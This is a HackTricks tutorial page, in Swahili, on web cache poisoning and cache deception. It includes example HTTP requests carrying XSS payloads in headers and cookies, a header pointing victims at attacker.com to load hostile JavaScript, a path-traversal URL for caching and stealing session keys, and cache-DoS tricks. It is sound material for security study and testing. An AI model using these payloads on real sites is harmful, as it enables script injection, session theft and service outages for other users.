hacktricks/pentesting-web/cache-deception

Kufyonza Cache na Udanganyifu wa Cache

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
• Pata bidhaa rasmi za PEASS & HackTricks
• Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Tumia Trickest kujenga na kutumia mifumo ya kazi kwa kutumia zana za jamii za juu zaidi ulimwenguni.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Tofauti

Ni tofauti gani kati ya kufyonza cache ya wavuti na udanganyifu wa cache ya wavuti?

• Katika kufyonza cache ya wavuti, mkaidi husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye cache, na maudhui haya hutolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
• Katika udanganyifu wa cache ya wavuti, mkaidi husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye cache, na mkaidi kisha anapata maudhui haya kutoka kwenye cache.

Kufyonza Cache

Kufyonza cache inalenga kubadilisha cache upande wa mteja ili kulazimisha wateja kupakia rasilimali ambazo si za kawaida, sehemu, au chini ya udhibiti wa mkaidi. Upeo wa athari unategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa hutolewa kwa watumiaji wanaotembelea ukurasa wakati wa kufyonza cache.

Utekelezaji wa shambulio la kufyonza cache unajumuisha hatua kadhaa:

1. Ugunduzi wa Vipengele Visivyo na Kichwa: Hivi ni vipengele ambavyo, ingawa sio lazima kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kudanganya cache.
2. Udanganyifu wa Vipengele Visivyo na Kichwa: Baada ya kutambua vipengele visivyo na kichwa, hatua inayofuata ni kugundua jinsi ya kutumia vipengele hivi kwa njia ambayo inanufaisha mkaidi kubadilisha jibu la seva.
3. Kuhakikisha Jibu Lililofyonzwa linahifadhiwa kwenye Cache: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayetembelea ukurasa ulioathiriwa wakati wa kufyonza cache atapokea jibu lililochafuliwa.

Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu limewekwa kwenye cache kutakuwa na kichwa kinachoonyesha hivyo, unaweza kuangalia vichwa vipi unapaswa kutilia maanani katika chapisho hili: Vichwa vya Cache vya HTTP.

Ugunduzi: Msimbo wa Makosa ya Kufyonza

Ikiwa unadhani kwamba jibu linawekwa kwenye cache, unaweza kujaribu kutuma maombi na kichwa kibaya, ambacho kinapaswa kujibiwa na msimbo wa hali 400. Kisha jaribu kupata ombi kawaida na ikiwa jibu ni msimbo wa hali 400, unajua kuwa ni dhaifu (na unaweza hata kufanya DoS).

Unaweza kupata chaguo zaidi katika:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Hata hivyo, kumbuka kwamba mara kwa mara aina hizi za misimbo ya hali hazihifadhiwi hivyo jaribio hili linaweza kutokuwa la kuaminika.

Ugunduzi: Kutambua na kutathmini vipengele visivyo na kichwa

Unaweza kutumia Param Miner kufanya nguvu ya kutumia vigezo na vichwa ambavyo vinaweza kubadilisha jibu la ukurasa. Kwa mfano, ukurasa unaweza kutumia kichwa X-Forwarded-For kuonyesha mteja kupakia skripti kutoka hapo:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Kupata jibu baya kutoka kwa seva ya nyuma

Pamoja na kipengele/kichwa kilichotambuliwa, angalia jinsi kinavyo safishwa na wapi kinacho onyeshwa au kuathiri jibu kutoka kwa kichwa. Je, unaweza kukitumia kwa njia yoyote (kufanya XSS au kupakia nambari ya JS inayodhibitiwa na wewe? kufanya DoS?...)

Pata jibu lililohifadhiwa

Baada ya kutambua ukurasa ambao unaweza kutumiwa vibaya, ni kipengele/kichwa gani cha kutumia na jinsi ya kukitumia, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda fulani, unaweza kuhitaji kujaribu kwa sekunde kadhaa.
Kichwa cha X-Cache katika jibu linaweza kuwa na manufaa sana kwani inaweza kuwa na thamani miss wakati ombi halijahifadhiwa na thamani hit wakati inahifadhiwa.
Kichwa cha Cache-Control pia ni cha kuvutia kujua ikiwa rasilimali inahifadhiwa na lini itahifadhiwa tena: Cache-Control: public, max-age=1800
Kichwa kingine cha kuvutia ni Vary. Kichwa hiki mara nyingi hutumiwa kuonyesha vichwa vingine vinavyotibiwa kama sehemu ya ufunguo wa cache hata kama kawaida havina ufunguo. Kwa hivyo, ikiwa mtumiaji anajua User-Agent wa muathiriwa anayelengwa, anaweza kudhuru cache kwa watumiaji wanaotumia User-Agent hiyo maalum.
Kichwa kingine kinachohusiana na cache ni Age. Hii inaainisha nyakati kwa sekunde ambazo kitu kimekuwa kwenye cache ya proksi.

Unapohifadhi ombi, kuwa makini na vichwa unavyotumia kwa sababu baadhi yao yanaweza kutumika kwa njia isiyotarajiwa kama vichwa vilivyo na ufunguo na muathiriwa atahitaji kutumia kichwa hicho hicho. Daima jaribu Uchafuzi wa Cache na vivinjari tofauti kuhakikisha kuwa inafanya kazi.

Mifano ya Kutumia Vibaya

Mfano Rahisi Zaidi

Kichwa kama X-Forwarded-For kinachoonyeshwa kwenye jibu bila kusafishwa.
Unaweza kutuma mzigo wa XSS wa msingi na kudhuru cache ili kila mtu anayefikia ukurasa atakuwa na XSS:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note kwamba hii itachafua ombi kwa /en?region=uk sio kwa /en

Kuchafua cache kwa DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Kutumia uchafuzi wa cache ya wavuti kufaidika na udhaifu wa kushughulikia vidakuzi

Vidakuzi pia vinaweza kurejelewa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kusababisha XSS kwa mfano, unaweza kutumia XSS kwa wateja kadhaa wanaopakia jibu la cache lenye nia mbaya.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Kujua kwamba kuki iliyodhurika inatumika sana na watumiaji, maombi ya kawaida yatakuwa yanafuta cache.

Kudanganya cache kwa njia ya kuvamia njia ili kuiba funguo ya API

Maelezo haya yanafafanua jinsi ilivyowezekana kuiba funguo ya API ya OpenAI na URL kama https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 kwa sababu chochote kinacholingana na /share/* kitahifadhiwa kwenye cache bila Cloudflare kawaida kurekebisha URL, ambayo ilifanyika wakati ombi lilipofikia seva ya wavuti.

Kutumia vichwa vingi kudanganya udhaifu wa cache wa wavuti

Maranyingi utahitaji kudanganya pembejeo kadhaa zisizo na funguo ili uweze kutumia cache vibaya. Kwa mfano, unaweza kupata urejeleaji wazi ikiwa unaweka X-Forwarded-Host kwa kikoa kinachodhibitiwa na wewe na X-Forwarded-Scheme kuwa http. Ikiwa seva ina peleka maombi yote ya HTTP kwa HTTPS na kutumia kichwa X-Forwarded-Scheme kama jina la kikoa kwa urejeleaji. Unaweza kudhibiti ukurasa unapoelekezwa na urejeleaji.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Kuchexploitisha kwa kichwa cha Vary kilichopunguzwa

Ikiwa umegundua kwamba kichwa cha X-Host kinatumika kama jina la kikoa kusoma rasilimali ya JS lakini kichwa cha Vary katika jibu linabainisha User-Agent. Kisha, unahitaji kupata njia ya kuchukua User-Agent wa mwathiriwa na kudhuru cache kwa kutumia user agent huo:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Tuma ombi la GET na ombi katika URL na mwilini. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, yeyote anayepata URL hiyo atatumia kwa kweli parameta kutoka kwa mwili. Kama kasoro aliyopata James Kettle kwenye wavuti ya Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Kuna maabara ya portswigger kuhusu hili: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Kuficha Parameta

Kwa mfano ni kawaida kutenganisha parameta kwenye seva za ruby kwa kutumia herufi ; badala ya &. Hii inaweza kutumika kuweka thamani za parameta zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.

Maabara ya Portswigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Kutumia HTTP Cache Poisoning kwa kudanganya Uombaji wa HTTP

Jifunze hapa jinsi ya kufanya mashambulizi ya Cache Poisoning kwa kudanganya Uombaji wa HTTP.

Upimaji wa Kiotomatiki kwa Cache Poisoning ya Wavuti

Skana ya Ufikiaji wa Wavuti ya Cache inaweza kutumika kufanya upimaji wa kiotomatiki kwa cache poisoning ya wavuti. Inasaidia njia nyingi tofauti na inaweza kubadilishwa kwa urahisi.

Matumizi ya mfano: wcvs -u mfano.com

Tumia Trickest kujenga na kutumia taratibu kwa kutumia zana za jamii ya juu zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Mifano ya Kudhurika

Apache Traffic Server (CVE-2021-27577)

ATS ilipeleka kipande ndani ya URL bila kuondoa na ikazalisha ufunguo wa cache kwa kutumia mwenyeji, njia, na ombi (ikipuuza kipande). Kwa hivyo ombi /#/../?r=javascript:alert(1) lilipelekwa kwa nyuma kama /#/../?r=javascript:alert(1) na ufunguo wa cache haukuwa na mzigo ndani yake, tu mwenyeji, njia, na ombi.

GitHub CP-DoS

Kutuma thamani mbaya kwenye kichwa cha aina ya yaliyomo kulizindua jibu lililohifadhiwa la 405. Ufunguo wa cache ulikuwa na kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na idhini tu.

GitLab + GCP CP-DoS

GitLab hutumia vikapu vya GCP kuhifadhi yaliyomo ya msingi. Vikapu vya GCP vinaweza kusaidia kichwa x-http-method-override. Kwa hivyo ilikuwa inawezekana kutuma kichwa x-http-method-override: HEAD na kudanganya cache kurudisha mwili wa jibu tupu. Pia inaweza kusaidia njia PURGE.

Rack Middleware (Ruby on Rails)

Katika maombi ya Ruby on Rails, Rack middleware mara nyingi hutumiwa. Lengo la msimbo wa Rack ni kuchukua thamani ya kichwa cha x-forwarded-scheme na kuweka kama mpango wa ombi. Wakati kichwa x-forwarded-scheme: http kinatumwa, kuna marejeleo ya 301 kwenye eneo moja, ikisababisha uwezekano wa Kukataa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, maombi yanaweza kutambua kichwa cha X-forwarded-host na kupeleka watumiaji kwa mwenyeji ulioelezwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwenye seva ya mshambuliaji, ikileta hatari ya usalama.

403 na Vikapu vya Kuhifadhi

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kupata S3 au Blobs za Uhifadhi wa Azure na vichwa visivyo sahihi vya Uthibitishaji kungesababisha jibu la 403 lililohifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za wakala.

Kuingiza Parameta Zenye Ufunguo

Makasha mara nyingi hujumuisha parameta maalum za GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi parameta ya size katika maombi. Walakini, ikiwa toleo lililofungwa la parameta (k.m., siz%65) pia lilipelekwa na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameta sahihi ya size. Walakini, seva ya nyuma ingeprocess thamani katika parameta iliyofungwa kwa URL. Kufunga parameta ya pili ya size kwa URL ilisababisha kutotambuliwa na cache lakini kutumika na seva ya nyuma. Kutoa thamani ya 0 kwa parameta hii kulileta kosa la ombi la 400 linaloweza kuhifadhiwa.

Sheria za Wateja wa Mtumiaji

Baadhi ya watengenezaji wanazuia maombi na wateja wa mtumiaji wanaofanana na zana za trafiki kubwa kama FFUF au Nuclei kudhibiti mzigo wa seva. Kwa kujifanya, njia hii inaweza kuleta mapungufu kama vile kuficha cache na DoS.

Uga wa Kichwa Usio Halali

RFC7230 inabainisha herufi zinazokubalika katika majina ya vichwa. Vichwa vinavyo herufi nje ya safu iliyowekwa ya tchar inapaswa kimsingi kuzindua jibu la Kosa la Ombi la 400. Kwa vitendo, seva mara nyingi hazifuati viwango hivi. Mfano muhimu ni Akamai, ambayo inapeleka vichwa na herufi zisizo halali na kuhifadhi kosa lolote la 400, ikiwa tu kichwa cha cache-control hakipo. Mfano wa kutumia uligunduliwa ambapo kutuma kichwa na herufi isiyo halali, kama vile \, kunaweza kusababisha kosa la ombi la 400 linaloweza kuhifadhiwa.

Kupata Vichwa vipya

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Udanganyifu wa Cache

Lengo la Udanganyifu wa Cache ni kufanya wateja pakia rasilimali ambazo zitahifadhiwa na cache pamoja na habari zao nyeti.

Kwanza kabisa kumbuka kwamba nyongeza kama vile .css, .js, .png nk kawaida imepangwa kuwa hifadhiwa kwenye cache. Kwa hivyo, ikiwa unafikia www.example.com/profile.php/nonexistent.js cache labda itahifadhi jibu kwa sababu inaona nyongeza ya .js. Lakini, ikiwa programu inarudia na maudhui nyeti ya mtumiaji yaliyohifadhiwa kwenye www.example.com/profile.php, unaweza kuiba maudhui hayo kutoka kwa watumiaji wengine.

Vitu vingine vya kupima:

• www.example.com/profile.php/.js
• www.example.com/profile.php/.css
• www.example.com/profile.php/test.js
• www.example.com/profile.php/../test.js
• www.example.com/profile.php/%2e%2e/test.js
• Tumia nyongeza zisizojulikana kama .avif

Mfano mwingine wazi unaweza kupatikana katika andiko hili: https://hackerone.com/reports/593712.
Katika mfano, imeelezwa kwamba ikiwa unapakia ukurasa usio na maudhui kama http://www.example.com/home.php/non-existent.css maudhui ya http://www.example.com/home.php (na habari nyeti za mtumiaji) yatarejeshwa na seva ya cache itahifadhi matokeo.
Kisha, mshambuliaji anaweza kupata http://www.example.com/home.php/non-existent.css kwenye kivinjari chao na kuchunguza habari za siri za watumiaji waliopata kabla.

Kumbuka kwamba proksi ya cache inapaswa kuwa imepangwa kuhifadhi faili kulingana na nyongeza ya faili (.css) na sio kulingana na aina ya yaliyomo. Katika mfano http://www.example.com/home.php/non-existent.css itakuwa na aina ya yaliyomo ya text/html badala ya aina ya mime ya text/css (ambayo inatarajiwa kwa faili ya .css).

Jifunze hapa jinsi ya kufanya mashambulizi ya Udanganyifu wa Cache kwa kudanganya Uombaji wa HTTP.

Vifaa vya Kiotomatiki

• toxicache: Kijikagua wa Golang kupata udhaifu wa sumaku ya cache kwenye orodha ya URL na jaribu mbinu za sindano nyingi.

Marejeo

• https://portswigger.net/web-security/web-cache-poisoning
• https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
• https://hackerone.com/reports/593712
• https://youst.in/posts/cache-poisoning-at-scale/
• https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
• https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/

Tumia Trickest kujenga na kiotomatiki mchakato ulioendeshwa na zana za jamii za juu zaidi duniani kwa urahisi.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

• Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
• Pata bidhaa rasmi za PEASS & HackTricks
• Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
• Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
• Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.